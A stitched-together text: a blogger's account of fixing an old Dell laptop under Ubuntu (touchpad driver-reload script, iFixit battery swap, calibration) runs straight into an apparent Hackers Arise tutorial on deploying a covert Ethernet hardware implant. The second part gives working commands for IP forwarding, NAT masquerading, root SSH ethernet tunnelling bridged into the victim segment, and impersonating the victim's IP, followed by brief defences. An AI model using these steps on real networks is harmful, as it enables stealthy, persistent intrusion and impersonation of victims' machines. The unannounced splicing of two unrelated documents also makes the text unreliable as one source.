My laptop is one of my most important tools. While my servers and office systems have all of my configured software and documents, I can't take them with me on customer trips, or even to the living room for some late-night catching up while watching TV. The laptop is basically my portable window into my office.

I don't need a powerful laptop. I'm not a gamer and I rarely develop software directly on it. The biggest applications I use are Impress for presentations and VLC for watching movies on airplanes. Most of the time, I'm simply accessing websites, running diagnostics, or remotely logging into my office. (If someone were to steal my laptop, they won't get much. They can't access the office without my passwords and biometrics. If it ever were stolen, I can immediately lock down all network access to my office with a single unpublished URL.)

More Laptop

Last year, I wrote about my laptop. Back then, the Windows 10 operating system was hitting end-of-life and needed to be replaced. The final straw was the "Patch Tuesday" where the laptop sat at "Restarting" forever. Since the laptop is only used for remote access, there was nothing that needed keeping. I ended up reinstalling it with Ubuntu Linux.

This OS switch came with a few pleasant surprises:

• The laptop was significantly faster. (Windows is a resource hog!)


• The hard drive had a lot more room. (Linux is smaller than Windows.)


• Restoring the network from suspend worked perfectly. This had been a problem under Windows.


• The original battery lasted 8-9 hours under Windows, but had aged to lasting 4-6 hours from a full charge. With Linux, I was getting 10-12 hours of use from the same hardware.


• I had some touchpad issues under Windows. Switching to Linux made those issues mostly go away.

Touchpad

While the touchpad issues were mostly resolved, they weren't completely gone. The mouse cursor would move correctly, but sometimes the mouse buttons would become non-responsive or require multiple presses before they worked. A reboot would fix the problem temporarily, so I didn't think it was the hardware wearing out.

Under Windows, I found a few other people with the same problem, but "reboot Windows" was the cure for everything. With Linux, there are enough tools for a real diagnosis and easy fix.

The laptop communicates with the touchpad using a two-wire protocol called I2C. When the laptop suspends and restores, the I2C drivers can get into an inconsistent state, causing the buttons to fail. The solution? I created a system restore script that restarts the I2C drivers when it wakes up. With Ubuntu, create the executable file "/lib/systemd/system-sleep/restart-touchpad":

#!/bin/sh

case "$1" in

    post)

        # Unload the ACPI and I2C drivers

        rmmod i2c_hid_acpi

        rmmod i2c_hid



        # Reload them for a clean reset

        modprobe i2c_hid

        modprobe i2c_hid_acpi

        ;;

esac

That's it. You don't need to restart anything. Now the touchpad works properly all of the time.

Old Hardware

I usually keep hardware until it stops working. For example, I had an old Pentium computer with a 120MB hard drive that I used as my mail server for over 20 years. OS patches? Ha! It was still running Redhat 5.1! (Old hacker security tip: nobody looks for 20-year-old vulnerabilities, and newer vulnerabilities didn't work on old systems.) In my opinion, as long as the system is stable, why risk replacing it? The only reason I retired that old mail server was that everyone was moving to TLS for secure email transfers and some of the OpenSSL dependencies were too complicated to port to the old system. The 30+ year old hardware itself still worked fine.

The same goes with laptops. For someone who has been in the computer field for over 40 years, I've only ever owned four laptops. My first one was an Apple. (Never again.) It lost OS support after 2 years. However, I didn't move off of the laptop until the browser providers (Chrome and Firefox) stopped supporting it. I needed a modern browser, so that meant a modern laptop.

My Asus EeePC was my favorite because it was tiny and lightweight. However, after a decade most OS's dropped support for the Atom processor, so I had to update again.

These days, I'm using a Dell XPS that I purchased in 2017. The hardware is designed to last, the only issue was the touchpad -- and that's fixed now. That just left the battery.

Battery

No laptop batteries last forever. With lithium-ion, they start with a long lifespan and then slowly degrade over time. However "slowly" isn't linear. After a few years, you'll start seeing the battery runtime decline, and as time passes it will decline very rapidly. When it's completely dead, it might hold a charge for five minutes.

Lithium-ion batteries typically last seven to ten years, although heavy cycling, deep discharges, and heat can shorten that lifespan. My laptop was from 2017, putting it well into the "old battery" range. When it was new, it could hold a charge for 8-10 hours while running Windows. After eight years, Windows was lasting 4-6 hours before I switched to Linux. Linux lightened the power requirements, bringing it back to a 10 hour battery. That doesn't mean that the battery is fresh; it just means that the new OS was more power efficient.

Over the last year, it had entered the fast decline that is typical for lithium batteries. Last month, a full charge was lasting 2.5 - 3.5 hours (still under Linux). If I can't last an entire airplane flight, then that's effectively a dead battery. While I'm thrilled to have had nearly 9.5 years out of this battery, I had to make a choice:

• (A) Get a new laptop. These days, that would cost me $900 - $1500.


• (B) Get a new battery. I saw prices that varied from $25 to $100.

My thought: if I could get a new battery and maybe another 7 years of life out of this laptop, then it was definitely worth it. (Also, I wouldn't have to lose all of the stickers I had plastered on the laptop.) In the worst case, either a new battery wouldn't help or I'd damage the laptop while swapping batteries. But for under $100? I was willing to experiment.

The huge price range really bothered me. As far as I can tell, all of the sub-$75 batteries were from pop-up providers. Vendors who were here today and gone tomorrow. Each had reviews that ranged from "5 stars: It works!" to "1 star" with long paragraphs about all of the problems and non-responsive vendors. Even though the batteries were all marketed as "new", they were probably "newly rebuilt" and not really "new".

Dell no longer makes this battery, but a few companies still have good reputations for selling genuinely new batteries rather than rebuilt packs. I had never purchased from iFixIt before. And now that I have, I highly recommend them. (I am not a paid spokesperson, I'm just a very happy customer. As an aside, I often blog about problems with vendors. This time, I only have positive things to say.)

The battery was affordable (under $100 and with free shipping). It arrived on time. It arrived well-packaged and undamaged. (This is always a concern with lithium batteries.) It said that the package included a small toolbox, but that wasn't part of my decision process. Now that I've used it, this is one of the nicest toolboxes I've ever had for repairing equipment. It includes:

• A metal shim, for prying open lids without cracking the tabs.


• A bunch of plastic shims, so the lid doesn't close while sliding the metal shim around the seams.


• Every screw driver bit size you might need.


• High quality tweezers.


• A plastic tool that is great for helping peel up tape.


• A suction cup, in case you're repairing a cellphone screen.


• Even the toolbox lid is well-designed, with grids for holding screws. I populated it with the screws I pulled out (each type and location went in a different holder) and put the screwdriver bit next to it as I went.

I found out the hard way that it is designed for use with one hand! With my laptop, I had removed the screws and was using the metal shim to pry off the back. I realized that I needed a plastic shim to prevent the lid from snapping back on while I worked. With one hand, I held the metal shim in the lid. With the other hand, I was able to push down on one side of the plastic shim and have it pop up so I could grab it. I didn't realize that there were multiple plastic shims until they popped up and exploded all over the desk. This was a very pleasant surprise.

Here's the toolbox:

(Be careful pushing on the blue plastic triangular shims in the middle. There are a bunch of them and they will all suddenly pop out!)

And here's the laptop mid-replacement:

(The old battery is off the top of the photo. The new battery is the black rectangle in the top center. It goes over the touchpad, which is the green board at the bottom of the screen.)

A few years ago, I tried to replace the battery in my Samsung tablet. I had a hodgepodge collection of tools and ended up destroying the tablet. I was worried about doing the same thing to the laptop. But with the right tools, going slowly, and taking photos, I managed to replace the battery without any problems in under 30 minutes. (Now that I know what I'm doing, I could probably do it in 10 minutes without feeling rushed.) It was truly painless.

Calibration

After swapping the battery, the laptop wouldn't turn on. That's fine -- the new battery shipped without a charge. After 10 minutes of charging, I could turn the laptop on. (Good! I didn't break anything.)

The next step is to calibrate the battery. This isn't for the battery's health; it calibrates the software that reports how much power remains.

• Typical batteries: With regular lead-acid and alkaline batteries, the output voltage is pretty linear. You can measure the voltage to determine the battery's remaining capacity.


• Lithium-ion batteries: Lithium-ion batteries have a long, flat discharge rate. You can't just look at the voltage and determine how much battery time is left. During the flat discharge rate, the micro-voltage differences can be too small for the hardware to detect; there may be no measurable difference between 30% and 70% capacity. To estimate the remaining time, the OS uses a combination of measured voltage and a timer for how long it took to drain. For the calibration, you put it through a full charging cycle, full discharge, and full charge again. This helps the software guestimate the capacity during the flat discharge rate.

My laptop's battery is rated at 7.6V and 60Wh. With Windows, I was getting nearly 10 hours with the original battery. But now I'm on Linux, which consumes much less power. I had no idea how long this new battery would last.

To calibrate with Linux, you should remove the power history. This forces it to learn based on the new battery.

sudo systemctl stop upower
sudo rm /var/lib/upower/history-*
sudo systemctl start upower

Next, fully charge the battery. Let it charge for at least two hours beyond "fully charged".

The full discharge step is kind of a challenge, since the OS wants to be as efficient as possible. Turn off power-saving mode, turn off the screen saver, turn off suspend, etc. I gave it something to do: play the movie "The Bourne Identity" over and over until the battery was fully drained. (The computer will warn about low voltage, and then shutdown automatically. That's the full discharge.) With this new battery? I expected it to last for 12 or 14 hours. Instead, it ran for 30 hours! (I suspect that it was using a hardware-based video decoder which is very power-efficient, and letting the CPU itself effectively rest and consume flea power.)

The final full charge cycle probably only needed a few hours, but I let it go overnight.

With the new battery installed and calibrated, Linux reports "15 hours remaining". After five hours of use, I still have "14 hours remaining", and if I start compiling code, it drops to "10 hours remaining." I'm not too worried about the calibration's accuracy since it may take the OS time to learn. I might not be able to tell the time remaining with extreme accuracy, but I'm sure it will last an entire plane flight on travel days.

Right to Repair

There's an entire movement centered around the right to repair equipment. Being able to change a battery in a working device is one of those basic tenets. My Samsung tablet appeared designed to self-destruct when opened. My Dell laptop was built to be repaired, and the tools from iFixIt simplified this process. I'm sure my laptop is good for at least another seven years.

In my home town of Fort Collins, they are building a new library. This one will include an "innovation maker-space". They recently had an open house to discuss wants and needs with the community. People wanted everything from a 3D printer and laser cutter to sewing machines, button makers, and classes on gardening. One of the things that was repeatedly mentioned by attendees was a repair station. Whether it's a team of volunteers, one-time hands-on classes, or something in between, people have a strong desire to repair electronics before buying a replacement.

My successful weekend project is exactly why community maker-spaces are so vital. When manufacturers design hardware to be opened, and companies like iFixIt provide the exact toolkits to do it safely, fixing our own tech transitions from a stressful gamble to a rewarding afternoon project. We don't need to throw away perfectly good silicon just because a battery gets old. Keeping this laptop out of a landfill isn't just a win for my wallet, it's a small victory for a more sustainable, fix-it-first mindset.

The combination of a lightweight Linux OS, a fresh battery, and the right tools completely resurrected a piece of hardware that most people would have recycled years ago. It may not be the latest or greatest, but it's perfect for the next time I leave the office.

Welcome back, aspiring cyberwarriors! 

Today we complete our short series on building a small persistence device. After covering how to build it in Part 1, we will now focus on its deployment and how to achieve persistence using the device we created. We will also discuss practical measures to protect your environment from attacks like this.

Persistence

An attacker finds an unattended computer and discreetly connects their device to it.

The computer in the image above will not lose network access and will not even detect the intermediate node. The Rock Pi will transparently forward the victim’s traffic while simultaneously giving the attacker network access both toward the victim’s computer and toward the local network.

The hardware implant can be connected anywhere (from a regular computer or printer to a server room). It all depends on where the attacker managed to gain access. Its small size allows the hardware backdoor to be hidden even inside another device.

The hardware implant can even be placed inside an IP phone located in a meeting room. Such rooms are often temporarily unoccupied, which an attacker can take advantage of.  The device configuration also allows it to be used not only in a “man-in-the-middle” setup. It can simply be plugged into any available Ethernet port to maintain remote access.

Next, using all available access channels (VPN, DNS, Wi-Fi, 4G), the attacker can remotely access the device and, from there, gain access to the network. To develop further attacks, the attacker does not need to deploy all hacking tools on the device every time. The implant can act merely as a gateway, simply forwarding packets from the attacker into the network.

L3 Access

Now it is time to look at how such a device can be configured in gateway mode, providing simple Layer 3 (L3) access to the target network. Only two components are required.

The first is packet forwarding. When this kernel option is enabled, network packets can pass from one interface (VPN) to another (Ethernet) according to routing rules:

/etc/sysctl.conf

net.ipv4.ip_forward=1

The second is SNAT, which modifies the source IP address for packets that change network interfaces, in this case from VPN to Ethernet:

Pi > iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE
Pi > iptables-save | sudo tee /etc/iptables.up.rules

/etc/network/if-pre-up.d/iptables

#!/bin/bash
/sbin/iptables-restore < /etc/iptables.up.rules

This gives the hacker simple and convenient access to the network where the implant is placed. On the attacker’s side, all that is required is to add a route through Packet Squirrel:

kali > route add -net 10.0.0.0/8 gw packet_squirrel
kali > ping 10.10.10.10

The attacker’s phone, which is not directly connected to the victim’s laptop, is connected to the same VPN network as the Packet Squirrel. A route is configured on the phone with Packet Squirrel as the gateway, after which the attacker gains direct network access to the internal network. This is convenient for the attacker and can be used both for stealthy access and for further attack development. However, this is only L3 access (the network layer of the OSI model), which does not provide full attack capabilities, since the attacker is not actually inside the network but uses Packet Squirrel as a gateway.

To be fully present within the network segment and to use the full arsenal of Ethernet-based attacks (from ARP to NetBIOS spoofing), the attacker needs Layer 2 (L2) access.

L2 Access

To obtain full L2 access to the network segment where the implant is located, the attacker must create an additional tunnel. The simplest way to do this is via SSH:

/etc/ssh/sshd_config

PermitRootLogin yes
PermitTunnel ethernet

Since the device’s Ethernet interfaces are already connected in a bridge (br0), the attacker only needs to add a new L2 interface from SSH into this bridge:

kali > sudo ssh root@packet_squirrel -o Tunnel=ethernet -w any:any
Pi > brctl addif br0 tap1
Pi > ifconfig tap1 up

The network bridge will copy every network packet from the Ethernet interfaces into this virtual interface. On the attacker’s side, a new L2 interface will also appear, receiving all packets available to the Packet Squirrel and acting as an L2 portal into the internal network segment:

kali > sudo ifconfig tap1 up
kali > sudo dhclient tap1

Now, being directly inside the network segment via Packet Squirrel, the attacker can obtain an internal IP address via DHCP. For greater stealth, they may even use the victim’s IP address:

Pi > sudo ifconfig br0 0
kali > sudo ifconfig tap1 $victim_ip/24

A small device hidden somewhere deep within a corporate network, behind a workstation, a hallway printer, an IP phone in a meeting room, or even buried in server room cabling can covertly interact with internal network nodes on behalf of the victim (using their MAC and IP address). Meanwhile, the attacker can be physically located far away.

Such a device can also be used for remote internal penetration testing, where the client simply plugs the device into the required network segment. No further action is needed. There is no need to coordinate access approvals, travel to the site, or deal with inconvenient VPN connections.

How to Defend

Using Port Security alone can prevent an attacker from accessing an unused network port, since they will not know the required MAC address. If 802.1X is also implemented, the attacker will not be able to insert a device in the middle. When connecting a Packet Squirrel, even briefly, the network link must be interrupted, which would require re-authentication.

Another defensive measure is strict physical control over Ethernet ports and devices within the enterprise network.

Summary

We showed you how a small, hidden hardware implant can give an attacker persistent and stealthy access to an internal network. By acting as a transparent bridge or gateway, the device allows remote entry without disrupting normal operations. With L3 access, the attacker gains basic connectivity, while L2 access places them fully inside the network, enabling more advanced attacks and even impersonation of legitimate devices. Physical access, even briefly, can translate into long-term compromise. That’s why strong network authentication and strict control over physical ports are critical for defense.

If you like what we’re doing here and want to advance your cybersecurity skills, check out our Cyberwarrior Path training. It’s a three-year program built around a two-tier learning curriculum. During the first 18 months, you’ll get access to a rich library of beginner to intermediate-level courses, giving you the knowledge and practical skills you need to build a strong foundation and progress with confidence.

The post Persistence: Building a Small Ethernet Persistence Device, Part 2 first appeared on Hackers Arise.